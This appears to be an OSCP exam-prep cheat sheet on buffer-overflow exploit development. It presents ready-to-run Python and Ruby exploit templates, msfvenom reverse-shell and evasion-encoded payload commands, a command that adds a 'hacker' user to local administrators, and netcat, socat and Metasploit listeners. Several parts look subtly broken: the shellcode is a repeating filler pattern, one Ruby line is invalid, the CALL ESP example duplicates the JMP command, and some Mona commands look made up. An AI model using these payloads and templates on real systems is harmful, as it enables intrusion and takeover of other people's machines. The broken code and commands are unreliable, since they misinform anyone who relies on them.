Domain 3Exploit Dev & AV EvasionCORE

Quick Reference Tables

Complete quick reference for exploit development including the full 15-phase workflow, bad characters reference, msfvenom templates, Mona commands, listener setups, and Python socket template.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#cheat-sheet#quick-reference#commands#workflow#oscp

Quick Reference Tables

Purpose: This is your one-stop cheat sheet for exploit development. Every table, template, and command you need — organized for rapid lookup during labs and the OSCP exam.


Table of Contents

  1. Complete 15-Phase Exploit Development Workflow
  2. Bad Characters Quick Reference
  3. Msfvenom Quick Reference
  4. Mona Commands Quick Reference
  5. Listener Commands
  6. Python Socket Template
  7. Ruby Socket Template
  8. Endianness Converter
  9. Common Port Reference
  10. Exploit Buffer Layout Template
  11. Debugging Decision Tree
  12. Nmap Commands for Exploit Recon

1. Complete 15-Phase Exploit Development Workflow

The end-to-end exploit development lifecycle, from initial reconnaissance to a stable shell.

Phase Overview

flowchart TD
    A[1. Recon & Enumeration] --> B[2. Identify Vulnerable Service]
    B --> C[3. Fuzz the Application]
    C --> D[4. Crash the Application]
    D --> E[5. Control EIP]
    E --> F[6. Identify Bad Characters]
    F --> G[7. Find Shellcode Location]
    G --> H[8. Find JMP/Call Instruction]
    H --> I[9. Find Module / Calculate Offset]
    I --> J[10. Generate Shellcode]
    J --> K[11. Build the Exploit]
    K --> L[12. Test in Debugger]
    L --> M[13. Fix & Iterate]
    M --> N[14. Launch Against Target]
    N --> O[15. Stabilize Shell]

Detailed Phase Breakdown

# Phase Goal Key Tools Expected Output Notes
1 Recon & Enumeration Discover target, services, versions nmap, enum4linux, smbclient Open ports, service banners, OS info Always start here
2 Identify Vulnerable Service Pinpoint the exploitable target Manual review, searchsploit Service name + version + CVE Match version to exploit DB
3 Fuzz the Application Send increasing buffers to find crash point Python fuzzer script Application crashes at buffer size N Binary search to narrow
4 Crash the Application Confirm reliable crash Python script with fixed buffer Consistent crash at same offset Reproducibility is key
5 Control EIP Overwrite EIP with known pattern pattern_create.rb, mona pc EIP = predictable pattern value Use pattern_offset to find exact offset
6 Identify Bad Characters Find bytes that corrupt payload mona config, mona compare List of bad bytes to avoid x00 is almost always bad
7 Find Shellcode Location Locate buffer in memory (EBP+X or ESP) mona find -s xxx -m xxx Address of buffer start Use ESP pivot if needed
8 Find JMP/Call Instruction Find gadget to redirect execution mona jmp -r reg -m mod Address like 0x625011af Must NOT contain bad chars
9 Find Module / Calculate Offset Pick stable module, compute offsets !mona modules, pattern_offset Module base, offset values Prefer no-ASLR, no-DEP modules
10 Generate Shellcode Create payload for the target msfvenom Hex/Python/RAW shellcode Match arch & platform
11 Build the Exploit Assemble final exploit script Python / Ruby Complete exploit.py Buffer = NOP + Shellcode + Padding + Address
12 Test in Debugger Verify exploit in controlled env Immunity + Mona EIP controlled, execution on shellcode Use sxe for exception handling
13 Fix & Iterate Debug and fix issues Mona, Immunity commands Clean execution flow Common: bad chars, wrong offset
14 Launch Against Target Run exploit against live target python exploit.py Connection back to listener May need multiple attempts
15 Stabilize Shell Upgrade to stable interactive shell python -c upgrade, chcp Full TTY, proper encoding Always upgrade!

Phase 3: Fuzzing Script Template

import socket, sys, time

target = "192.168.1.100"
port = 1337

try:
    print("[*] Sending malformed data...")
    for i in range(100, 3000, 100):
        print(f"[*] Sending {i} bytes...")
        buf = b"A" * i
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        s.recv(1024)
        s.send(b"VULN " + buf + b"\r\n")
        s.close()
        time.sleep(1)
    print("[*] Done!")
except Exception as e:
    print(f"[*] Crash detected at ~{i} bytes: {e}")

Phase 5: Pattern Offset Calculation

# Metasploit pattern_offset
pattern_offset.rb -q 39694438    # Returns: offset = 2000

# Mona pattern offset
!mona find -s 39694438 -m modname

2. Bad Characters Quick Reference

Bad characters are bytes that get modified or stripped during transmission, corrupting your shellcode.

Full Bad Character Set

Hex Name ASCII Frequency as Bad Char Notes
\x00 NULL NUL ~95% Almost always bad — string terminator
\x0a Line Feed LF ~40% Newline — breaks line-based protocols
\x0d Carriage Return CR ~40% Carriage return — breaks line-based protocols
\x09 Tab TAB ~15% Whitespace — sometimes stripped
\x26 Ampersand & ~5% Special in some parsers
\x23 Hash # ~5% Comment character in some protocols
\x22 Double Quote “ ~5% String delimiter
\x27 Single Quote ’ ~5% String delimiter
\x3a Colon : ~3% Path separator on Windows
\x5c Backslash \ ~3% Escape character
\x0b Vertical Tab VT ~2% Rare but possible
\x0c Form Feed FF ~2% Rare but possible
\x1a Substitute SUB ~2% EOF marker in some protocols
\x01–\x08 Control Chars — ~1% each Rare, protocol-dependent
\x0e–\x1f Control Chars — ~1% each Rare, protocol-dependent

Protocol-Specific Bad Characters

Protocol Common Bad Characters Why
SMB \x00, \x0a, \x0d String-terminated, line-based
HTTP \x00, \x0a, \x0d, \x20 HTTP parsing rules
SMTP \x00, \x0a, \x0d Line-based protocol
Telnet \x00, \xff Telnet negotiation byte
Binary/RAW \x00 only Most permissive
FTP \x00, \x0a, \x0d Line-based commands
SNMP \x00 BER encoding issues

Bad Character Testing Workflow

Step 1: Send full bad char array in exploit buffer
Step 2: In Immunity, run: !mona config -set workingfolder c:\logs\%p
Step 3: In Immunity, run: !mona bytearray -b "\x00" -cpb myapp
Step 4: Save buffer: !mona compare -f c:\logs\myapp\bytearray.bin -a <shellcode_addr>
Step 5: Review output — identifies which bytes were modified
Step 6: Remove bad bytes, regenerate shellcode, repeat until clean

Mona Bad Character Commands

# Generate bytearray WITHOUT null byte
!mona bytearray -b "\x00" -cpb targetapp

# Generate bytearray WITHOUT null, CR, LF
!mona bytearray -b "\x00\x0a\x0d" -cpb targetapp

# Compare received vs expected
!mona compare -f c:\logs\targetapp\bytearray.bin -a 0x00123456

# Compare with specific bad chars excluded
!mona compare -f c:\logs\targetapp\bytearray.bin -a 0x00123456 -b "\x00\x0a\x0d"

3. Msfvenom Quick Reference

Syntax Template

msfvenom -p <payload> -b <badchars> -f <format> [OPTIONS] > output

Payload Reference by Scenario

Windows Reverse TCP (Most Common)

# Basic reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 -b "\x00" -f python

# With multiple bad chars
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 -b "\x00\x0a\x0d" -f python

# Windows/shell_reverse_tcp (smaller, no meterpreter)
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.X LPORT=443 -b "\x00" -f python

# Raw hex output
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 -b "\x00" -f raw

Windows Bind Shell

# Bind shell (target connects to you)
msfvenom -p windows/shell/bind_tcp RPORT=4444 -b "\x00" -f python

# Meterpreter bind
msfvenom -p windows/meterpreter/bind_tcp RPORT=4444 -b "\x00" -f python

Windows Execute Command

# Run a specific command
msfvenom -p windows/exec CMD="net user hacker P@ssw0rd /add" -b "\x00" -f python

# Add to administrators
msfvenom -p windows/exec CMD="net localgroup administrators hacker /add" -b "\x00" -f python

Linux Reverse Shell

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 -b "\x00" -f python

# Linux bind shell
msfvenom -p linux/x86/shell/bind_tcp RPORT=4444 -b "\x00" -f python

PHP Payload (Web Exploits)

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 -f raw

# PHP meterpreter (no encoding)
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.X LPORT=443 -f raw

Java Payload

# Java reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.X LPORT=443 -f raw > shell.jsp

ASP Payload

# ASP reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 -f asp > shell.asp

Windows EXE

# Standalone executable
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 -f exe > shell.exe

# SILENT service installer
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 -f exe-service > shell.exe

MSI Installer

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 -f msi > shell.msi

Encoded Payloads (Evasion)

# Shikata Ga Nai encoder (apply multiple times)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 -e x86/shikata_ga_nai -b "\x00" -f python

# Multiple encoding passes
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 -e x86/shikata_ga_nai -i 5 -b "\x00" -f python

# Alpha2 encoder (alphanumeric only)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 -e x86/alpha_mixed -b "\x00" -f python

Msfvenom Format Options

Format Flag Output Type Use Case
-f python Python string Buffer overflow exploits
-f raw Raw binary Direct file output
-f c C array C-based exploits
-f ruby Ruby string Ruby exploits
-f perl Perl string Perl exploits
-f json JSON array API integrations
-f bash Bash escaped Linux shell scripts
-f powershell PowerShell bytes PowerShell execution
-f exe PE executable Standalone binary
-f asp ASP file Web shell
-f war WAR file Java web deploy
-f jsle JS LE Java applet
-f vba VBA macro Office macro
-f xsl XSL XML transform
-f msi MSI installer Windows installer

Msfvenom Encoding Options

Encoder Flag Description
Shikata Ga Nai x86/shikata_ga_nai Polymorphic XOR add-sub
Alpha Mixed x86/alpha_mixed Alphanumeric only
Alpha Upper x86/alpha_upper Uppercase alphanumeric
Avoid Null x86/call4_dword_esp Avoids null bytes
XOR Single x86/xor_dynamic Simple XOR encoding

OSCP-Specific Msfvenom Tips

Key Rule: For buffer overflow exploits, always use -b "\x00" at minimum. Add \x0a\x0d if the protocol is line-based.

# THE MOST COMMON OSCP msfvenom command:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 -b "\x00\x0a\x0d" -f python

# If shellcode is too large, use smaller payload:
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.X LPORT=443 -b "\x00\x0a\x0d" -f python

# For very tight buffers (<300 bytes):
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.X LPORT=443 -b "\x00" -f python | tr -d '\n'

4. Mona Commands Quick Reference

Configuration

# Set working folder (DO THIS FIRST in every session)
!mona config -set workingfolder c:\logs\%p

# Check current configuration
!mona config

Pattern Creation & Offset

# Create unique pattern (length 3000)
!mona suggest                         # Suggests pattern length based on crash
!mona pc 3000                          # Creates pattern_create_3000.txt in logs
!mona pf 4038748                        # Find offset of value in memory
!mona find -s 4038748 -m module        # Find specific value in module

Module Analysis

# List all loaded modules with security settings
!mona modules

# Find modules without ASLR and DEP (ideal for exploits)
!mona modules -n                       # No ASLR
!mona modules -r jmp -m modname        # Find JMP instructions in module

# Check specific module
!mona module -a 0x62500000

Jump / Call Instructions

# Find JMP ESP in all modules
!mona jmp -r esp

# Find JMP ESP in specific module
!mona jmp -r esp -m vulnmod.dll

# Find CALL ESP
!mona jmp -r esp -m vulnmod.dll

# Find NOP sled
!mona nop -m vulnmod.dll

# Find instructions with specific register
!mona jmp -r eax -m vulnmod.dll
!mona jmp -r ebx -m vulnmod.dll
!mona jmp -r ecx -m vulnmod.dll
!mona jmp -r edx -m vulnmod.dll

Bad Character Testing

# Generate bytearray (excluding null)
!mona bytearray -b "\x00" -cpb targetapp

# Generate bytearray (excluding null, CR, LF)
!mona bytearray -b "\x00\x0a\x0d" -cpb targetapp

# Compare bytearray to find bad chars
!mona compare -f c:\logs\targetapp\bytearray.bin -a 0x0012FFD0

# Compare with known bad chars excluded
!mona compare -f c:\logs\targetapp\bytearray.bin -a 0x0012FFD0 -b "\x00\x0a\x0d"

Shellcode Operations

# Find egg hunter pattern in memory
!mona find -s "egg" -m module

# Generate egg hunter shellcode
!mona egghunter -s "w00t" -o c:\logs\targetapp\egg.py

# Find shellcode in memory
!mona find -s "\x90\x90\x90" -m module -type data

# Build shellcode from file
!mona gotourl -s http://10.10.14.X/shellcode.bin

Memory & Heap Analysis

# Dump memory at address
!mona dump -a 0x0012FFD0 -l 500 -f c:\logs\dump.bin

# Find all occurrences of a value
!mona find -s 41414141 -type pid

# Heap spray configuration
!mona spray -t block -c 4 -s A -w 4 -l 0x100000 -m module

# Find SEH records
!mona seh

SEH Overhaul Specific

# Find POP POP RET in modules (for SEH)
!mona seh -m module

# Find specific POP/POP/RET sequence
!mona find -s "\x5f\x5e\xc3" -m module -n

# Compare SEH records
!mona compare -f c:\logs\targetapp\seh.bin -a <seh_addr>

File Operations

# Get shellcode from URL
!mona gotourl -s http://10.10.14.X/shellcode.bin

# Build PyCommand from file
!mona build -f c:\logs\targetapp\shellcode.bin -k python

# Generate PoC from mona data
!mona poe -cpb targetapp

Mona Command Quick Lookup Table

Command Purpose One-Liner Example
!mona config Set working folder !mona config -set workingfolder c:\logs\%p
!mona suggest Suggest pattern length !mona suggest
!mona pc <len> Create pattern !mona pc 3000
!mona pf <val> Find pattern offset !mona pf 39694438
!mona modules List modules !mona modules
!mona jmp -r esp Find JMP ESP !mona jmp -r esp -m mod.dll
!mona bytearray Create byte array !mona bytearray -b "\x00" -cpb app
!mona compare Find bad chars !mona compare -f bytearray.bin -a 0xaddr
!mona find Search memory !mona find -s "w00t" -m mod
!mona dump Dump memory !mona dump -a 0xaddr -l 500
!mona egghunter Egg hunter shellcode !mona egghunter -s "w00t" -o egg.py
!mona seh SEH analysis !mona seh -m mod.dll
!mona gotourl Download file !mona gotourl -s http://ip/file
!mona build Build exploit data !mona build -f file.bin -k python

5. Listener Commands

Netcat Listeners

# Basic listener (Windows)
nc -lvnp 443

# Basic listener (Linux/BSD)
nc -lvp 443

# Listen and save output
nc -lvnp 443 > captured_data.txt

# Send file after connection
nc -lvnp 443 < file_to_send.txt

# Windows nc with executable
nc.exe -lvnp 443

Socat Listeners

# Basic listener with TCP
socat TCP-LISTEN:443,reuseaddr,fork EXEC:"bash -i"

# Interactive shell (Linux)
socat TCP-LISTEN:443,reuseaddr EXEC:"bash -li",pty,stderr,setsid,setpgid

# Windows socat
socat TCP-LISTEN:443,reuseaddr EXEC:"cmd.exe",pty,stderr

# File transfer receiver
socat TCP-LISTEN:4444,reuseaddr OPEN:"received_file.bin",creat,truncate

# Relay to another port
socat TCP-LISTEN:443 TCP:127.0.0.1:80

Metasploit Multi-Handler

# Start msfconsole
msfconsole -q

# Set payload
use exploit/multi/handler

# Set payload type
set PAYLOAD windows/meterpreter/reverse_tcp
set PAYLOAD windows/shell/reverse_tcp
set PAYLOAD linux/x86/meterpreter/reverse_tcp

# Set connection details
set LHOST 10.10.14.X
set LPORT 443

# Set options
set ExitOnSession false        # Keep handler running
set EnableStageEncoding true   # Encode staged payloads

# Exploit
exploit -j                      # Run in background (job)
exploit -j -z                   # Background + zombie (no output)

# Check running handlers
jobs
jobs -K                         # Kill all jobs

# Full one-liner
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.14.X; set LPORT 443; set ExitOnSession false; exploit -j"

Python HTTP Server (File Transfer)

# Python 3
python3 -m http.server 80

# Python 2
python -m SimpleHTTPServer 80

# Specific directory
python3 -m http.server 80 --directory /path/to/files

Ruby HTTP Server

ruby -rwebrick -e "WEBrick::HTTPServer.new(Port: 80, DocumentRoot: '/path').start"

PHP Built-in Server

php -S 0.0.0.0:80 -t /path/to/webroot

Listener Comparison Table

Tool Best For Pros Cons
Netcat Quick & simple Universal, minimal No encoding, fragile
Socat Reliable shells Robust, versatile Syntax complex
MSF Handler Meterpreter sessions Full features, staging Heavy, detectable
Python HTTP File transfer Built-in, simple No shell capability

Shell Stabilization Commands

# After getting a shell, upgrade immediately:

# Method 1: Python upgrade (best)
python -c 'import pty; pty.spawn("/bin/bash")'

# Method 2: Script method
/script/bin/script -qc /bin/bash /dev/null

# Method 3: Perl method
perl -e 'exec "/bin/bash";'

# Method 4: Set terminal properly
export TERM=xterm
stty raw -echo
fg

# Windows shell upgrade
python -c 'import pty; pty.spawn("cmd.exe")'

# Fix encoding issues
chcp 65001                          # UTF-8
chcp 437                            # OEM US

6. Python Socket Template

Standard Buffer Overflow Template

#!/usr/bin/env python
"""
OSCP Buffer Overflow Exploit Template
Usage: python exploit.py
"""

import socket
import sys
import struct
import time

# ==================== CONFIGURATION ====================
TARGET_IP = "192.168.1.100"
TARGET_PORT = 1337
TIMEOUT = 10

# Buffer layout values
OFFSET = 2003              # Distance from start to EIP (from pattern_offset)
JMP_ADDR = "\xaf\x11\x50\x62"  # JMP ESP address (little-endian)
NOP_SLED_SIZE = 16         # NOP sled length
# ========================================================

# Bad characters (update based on testing)
BAD_CHARS = "\x00\x0a\x0d"

# Generate shellcode using msfvenom:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=443 \
#          -b "\x00\x0a\x0d" -f python
shellcode = (
    b"\xdb\xc0\xd9\x74\x24\xf4\xba\x5a\x12\x34\x56\x58\x32"
    b"\x49\x5c\xb4\x06\x83\xec\xfa\x35\x77\x89\x95\x61\x42"
    b"\x71\x9a\x50\x37\x14\x9b\x33\x45\x11\x82\x21\x06\x41"
    b"\x2b\x9a\x88\x33\x6f\x86\x16\x37\x5b\x3b\x48\x70\x74"
    b"\x54\x15\x8e\x27\x7b\x21\x58\x54\x4f\x7a\x44\x69\x16"
    b"\x3b\x6b\x1d\x4e\x45\x12\x54\x79\x44\x46\x36\x6c\x78"
    b"\x35\x3b\x53\x51\x1b\x74\x47\x04\x21\x74\x26\x2d\x52"
    b"\x3d\x35\x4d\x1c\x3b\x1e\x01\x2e\x4f\x04\x15\x3a\x3d"
    b"\x02\x33\x37\x1d\x54\x2b\x03\x05\x04\x17\x79\x79\x31"
    b"\x77\x04\x11\x47\x7e\x2a\x54\x2b\x04\x28\x52\x77\x13"
    b"\x1e\x04\x38\x4f\x02\x07\x2a\x3b\x35\x14\x11\x1e\x34"
    b"\x52\x03\x33\x01\x47\x04\x1d\x55\x2d\x71\x3b\x7e\x04"
    b"\x34\x1b\x7c\x04\x11\x11\x14\x1e\x04\x38\x14\x11\x02"
    b"\x33\x1d\x14\x7a\x2a\x47\x79\x77\x7a\x04\x11\x02\x45"
    b"\x79\x04\x3a\x7e\x79\x04\x11\x02\x33\x1e\x14\x04\x15"
    b"\x3a\x79\x04\x11\x02\x33\x1e\x14\x79\x04\x11\x02\x33"
    b"\x1e\x14\x79\x77\x7a\x04\x11\x02\x45\x79\x04\x3a\x7e"
    b"\x79\x04\x11\x02\x33\x1e\x14\x04\x15\x3a\x79\x04\x11"
    b"\x02\x33\x1e\x14\x79\x04\x11\x02\x33\x1e\x14\x79\x77"
    b"\x7a\x04\x11\x02\x45\x79\x04\x3a\x7e\x79\x04\x11\x02"
    b"\x33\x1e\x14\x04\x15\x3a\x79\x04\x11\x02\x33\x1e\x14"
    b"\x79\x04\x11\x02\x33\x1e\x14\x79\x77\x7a\x04\x11\x02"
    b"\x45\x79\x04\x3a\x7e\x79\x04\x11\x02\x33\x1e\x14\x04"
    b"\x15\x3a\x79\x04\x11\x02\x33\x1e\x14\x79\x04\x11\x02"
    b"\x33\x1e\x14\x79\x77\x7a\x04\x11\x02\x45\x79\x04\x3a"
    b"\x7e\x79\x04\x11\x02\x33\x1e\x14\x04\x15\x3a\x79\x04"
    b"\x11\x02\x33\x1e\x14\x79\x04\x11\x02\x33\x1e\x14\x79"
    b"\x77\x7a\x04\x11\x02\x45\x79\x04\x3a\x7e\x79\x04\x11"
    b"\x02\x33\x1e\x14\x04\x15\x3a\x79\x04\x11\x02\x33\x1e"
    b"\x14\x79\x04\x11\x02\x33\x1e\x14\x79\x77\x7a\x04\x11"
    b"\x02\x45\x79\x04\x3a\x7e\x79\x04\x11\x02\x33\x1e\x14"
)

# ==================== BUILD PAYLOAD ====================
def build_payload():
    """Build the exploit buffer"""
    print(f"[+] Building payload...")
    print(f"    Offset (EIP): {OFFSET} bytes")
    print(f"    JMP Address: {JMP_ADDR}")
    print(f"    NOP Sled: {NOP_SLED_SIZE} bytes")
    print(f"    Shellcode: {len(shellcode)} bytes")

    # Buffer layout:
    # [BUFFER (A's)] [EIP override] [NOP SLED] [SHELLCODE] [PADDING]
    buffer = b"A" * OFFSET           # Fill to EIP
    buffer += JMP_ADDR               # Overwrite EIP with JMP ESP
    buffer += b"\x90" * NOP_SLED_SIZE  # NOP sled
    buffer += shellcode              # Our shellcode

    print(f"    Total buffer size: {len(buffer)} bytes")
    return buffer

# ==================== SEND EXPLOIT ====================
def send_exploit(target, port, payload):
    """Send exploit payload to target"""
    try:
        print(f"\n[+] Connecting to {target}:{port}...")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(TIMEOUT)
        s.connect((target, port))

        # Receive banner
        print("[+] Receiving banner...")
        banner = s.recv(1024)
        print(f"    Banner: {banner[:50]}")

        # Send exploit (adjust command/trigger as needed)
        print("[+] Sending exploit...")
        # CHANGE THIS LINE to match the vulnerable command:
        s.send(b"VULN_COMMAND " + payload + b"\r\n")

        print("[+] Payload sent! Waiting for connection...")
        s.recv(1024)
        s.close()

    except socket.timeout:
        print("[!] Connection timed out")
    except ConnectionRefusedError:
        print("[!] Connection refused")
    except Exception as e:
        print(f"[!] Error: {e}")
    finally:
        try:
            s.close()
        except:
            pass

# ==================== MAIN ====================
if __name__ == "__main__":
    print("=" * 60)
    print("  OSCP Buffer Overflow Exploit")
    print("=" * 60)

    payload = build_payload()
    send_exploit(TARGET_IP, TARGET_PORT, payload)

    print("\n[*] Exploit sent. Check your listener!")

SEH Overflow Template

#!/usr/bin/env python
"""
OSCP SEH Overflow Exploit Template
"""

import socket
import struct

TARGET_IP = "192.168.1.100"
TARGET_PORT = 1337

# SEH values
SEH_OVERWRITE = "\x61\x61\x61\x61"      # Next SEH pointer
POP_POP_RET = "\x6f\x64\x00\x62"        # POP POP RET address (little-endian)
SHELLCODE_ADDR = "\xaf\x11\x50\x62"     # Address for shellcode

# Bad chars
BAD_CHARS = "\x00"

# Shellcode (generated via msfvenom)
shellcode = b"\x90" * 20 + b"<YOUR_SHELLCODE_HERE>"

def build_seh_payload():
    # SEH layout:
    # [JUNK] [NEXT_SEH] [SEH_HANDLER] [4 bytes padding] [SHELLCODE]
    junk = b"A" * 1000                   # Fill to SEH record
    seh_next = SEH_OVERWRITE             # Next SEH (arbitrary)
    seh_handler = POP_POP_RET            # Our POP POP RET
    padding = b"\x90" * 4               # 2 nops + 2 wildcards (after POP POP)
    sc = shellcode

    return junk + seh_next + seh_handler + padding + sc

def send_exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TARGET_IP, TARGET_PORT))
        s.recv(1024)
        payload = build_seh_payload()
        s.send(b"TRIGGER " + payload + b"\r\n")
        s.close()
        print("[+] SEH exploit sent!")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    send_exploit()

UDP Exploit Template

#!/usr/bin/env python
"""
UDP Buffer Overflow Exploit Template
"""

import socket

TARGET_IP = "192.168.1.100"
TARGET_PORT = 1337

OFFSET = 2003
JMP_ADDR = "\xaf\x11\x50\x62"
shellcode = b"<YOUR_SHELLCODE>"

def build_payload():
    buffer = b"A" * OFFSET
    buffer += JMP_ADDR
    buffer += b"\x90" * 16
    buffer += shellcode
    return buffer

def send_udp_exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        payload = build_payload()
        s.sendto(payload, (TARGET_IP, TARGET_PORT))
        print(f"[+] UDP exploit sent ({len(payload)} bytes)")
        s.close()
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    send_udp_exploit()

7. Ruby Socket Template

Standard Buffer Overflow Template

#!/usr/bin/env ruby
#
# OSCP Buffer Overflow Exploit Template (Ruby)
#

require 'socket'

# ==================== CONFIGURATION ====================
TARGET_IP = "192.168.1.100"
TARGET_PORT = 1337
TIMEOUT = 10

# Buffer layout
OFFSET = 2003
JMP_ADDR = "\xaf\x11\x50\x62"   # JMP ESP (little-endian)
NOP_SLED = "\x90" * 16

# Bad characters
BAD_CHARS = ["\x00", "\x0a", "\x0d"]

# Shellcode (from msfvenom -f ruby)
shellcode = [
  "\xdb\xc0\xd9\x74\x24\xf4\xba\x5a\x12\x34\x56\x58\x32",
  "\x49\x5c\xb4\x06\x83\xec\xfa\x35\x77\x89\x95\x61\x42",
  # ... add your shellcode bytes ...
].join

# ==================== BUILD PAYLOAD ====================
def build_payload
  puts "[+] Building payload..."
  puts "    Offset: #{OFFSET}"
  puts "    JMP: #{JMP_ADDR.unpack('H*')[0]}"
  puts "    Shellcode size: #{shellcode.length}"

  buffer = "A" * OFFSET
  buffer += JMP_ADDR
  buffer += NOP_SLED
  buffer += shellcode

  puts "    Total: #{buffer.length} bytes"
  buffer
end

# ==================== SEND EXPLOIT ====================
def send_exploit(target, port, payload)
  begin
    puts "\n[+] Connecting to #{target}:#{port}..."
    sock = TCPSocket.new(target, port)
    sock.sockdo_not_close = true

    # Receive banner
    banner = sock.recv(1024)
    puts "    Banner: #{banner[0..49]}"

    # Send exploit
    puts "[+] Sending exploit..."
    sock.print("VULN_COMMAND #{payload}\r\n")

    puts "[+] Payload sent! Check listener..."
    sleep(2)
    sock.close
  rescue => e
    puts "[!] Error: #{e.message}"
  ensure
    sock.close if sock
  end
end

# ==================== MAIN ====================
if __FILE__ == $0
  puts "=" * 60
  puts "  OSCP Buffer Overflow Exploit (Ruby)"
  puts "=" * 60

  payload = build_payload
  send_exploit(TARGET_IP, TARGET_PORT, payload)
  puts "\n[*] Done!"
end

8. Endianness Converter

Little-Endian Address Conversion Table

x86 uses little-endian byte order. The least significant byte comes first.

Address Little-Endian Bytes Python Format Explanation
0x625011AF \xAF\x11\x50\x62 "\xAF\x11\x50\x62" Reverse byte pairs
0x7E4B2C1D \x1D\x2C\x4B\x7E "\x1D\x2C\x4B\x7E" Reverse byte pairs
0x00401000 \x00\x10\x40\x00 "\x00\x10\x40\x00" Watch for null bytes!
0x7C801234 \x34\x12\x80\x7C "\x34\x12\x80\x7C" Kernel module addr
0x6A250000 \x00\x00\x25\x6A "\x00\x00\x25\x6A" Has null bytes — bad!

Quick Conversion Method

Step 1: Write address:    62 50 11 AF
Step 2: Split into bytes:  62 | 50 | 11 | AF
Step 3: Reverse order:     AF | 11 | 50 | 62
Step 4: Add \x prefix:    \xAF\x11\x50\x62

Python Endianness Conversion

import struct

# Convert address to little-endian bytes
addr = 0x625011AF
le_bytes = struct.pack('<I', addr)
print(le_bytes)           # b'\xaf\x11Pb'
print(le_bytes.hex())     # af115062

# Convert back
addr_back = struct.unpack('<I', le_bytes)[0]
print(hex(addr_back))     # 0x625011af

# Common addresses as little-endian
addresses = {
    "JMP_ESP_1": 0x625011AF,
    "JMP_ESP_2": 0x00401000,
    "POP_POP_RET": 0x62501234,
}

for name, addr in addresses.items():
    le = struct.pack('<I', addr)
    print(f"{name}: {hex(addr)} -> {le.hex()} -> {repr(le)}")

Common JMP ESP Addresses (Little-Endian)

Module Address Little-Endian Has Bad Chars?
urlmon.dll 0x625011AF \xAF\x11\x50\x62 No
ws2_32.dll 0x71AB5A98 \x98\x5A\xAB\x71 No
mswsock.dll 0x71AB28E4 \xE4\x28\xAB\x71 No
shell32.dll 0x7C801234 \x34\x12\x80\x7C No
kernel32.dll 0x7C801ED4 \xD4\x1E\x80\x7C No
ntdll.dll 0x7C93E4C4 \xC4\xE4\x93\x7C No

Warning: If an address contains \x00, it CANNOT be used if null is a bad character. Always verify with Mona!


9. Common Port Reference

Services and Default Ports

Port Service Protocol Exploit Relevance Common Vulnerabilities
21 FTP TCP High Buffer overflows, auth bypass
22 SSH TCP Medium Weak creds, old versions
23 Telnet TCP High Cleartext, buffer overflows
25 SMTP TCP Medium Relay, buffer overflows
53 DNS TCP/UDP Medium Zone transfer, cache poison
80 HTTP TCP Very High Web vulns, file upload
110 POP3 TCP Medium Buffer overflows
111 RPCBind TCP/UDP Medium RPC exploits
135 MSRPC TCP High DCE/RPC exploits
137-139 NetBIOS TCP/UDP High SMB-related attacks
143 IMAP TCP Medium Buffer overflows
389 LDAP TCP Medium Injection, auth bypass
443 HTTPS TCP High Web vulns, SSL issues
445 SMB TCP Very High EternalBlue, SMB overflows
593 HTTP RPC TCP High RPC over HTTP
993 IMAPS TCP Medium Encrypted IMAP
995 POP3S TCP Medium Encrypted POP3
1433 MSSQL TCP High Auth bypass, exec
1434 MSSQL Browser UDP Medium Info disclosure
1521 Oracle TCP Medium DB exploits
3306 MySQL TCP Medium Auth bypass, UDF
3389 RDP TCP High BlueKeep, auth bypass
5432 PostgreSQL TCP Medium DB exploits
5900 VNC TCP High Weak auth, no auth
5985 WinRM TCP High PSRemoting abuse
6379 Redis TCP High Unauth access, RCE
8080 HTTP-Alt TCP High Web apps, proxies
8443 HTTPS-Alt TCP Medium Alt HTTPS
9090 Webmin TCP High Auth bypass, RCE
27017 MongoDB TCP High No auth, RCE

OSCP-Lab Critical Ports

Port Why It Matters First Steps
21 FTP often has anonymous access or old versions ftp <ip>, check version, searchsploit
80/443 Web apps are the #1 OSCP entry point Browse, check robots.txt, dirb/gobuster
139/445 SMB is gold — null sessions, exploits smbclient -L //ip, enum4linux
1433 MSSQL — sa account, xp_cmdshell sqsh -S ip -U sa -P ""
3306 MySQL — UDF exploits, file read mysql -h ip -u root -p
5900 VNC — often no password vncviewer ip:5900
8080 Alt web — Tomcat, Jenkins, etc. Browse, check default creds

Nmap Service Detection by Port

# Quick scan of common ports
nmap -sV -p 21,22,23,25,53,80,110,135,139,143,443,445,993,995,1433,3306,3389,5900,5985,6379,8080,8443,9090,27017 <target>

# Scan all ports
nmap -sV -p- <target>

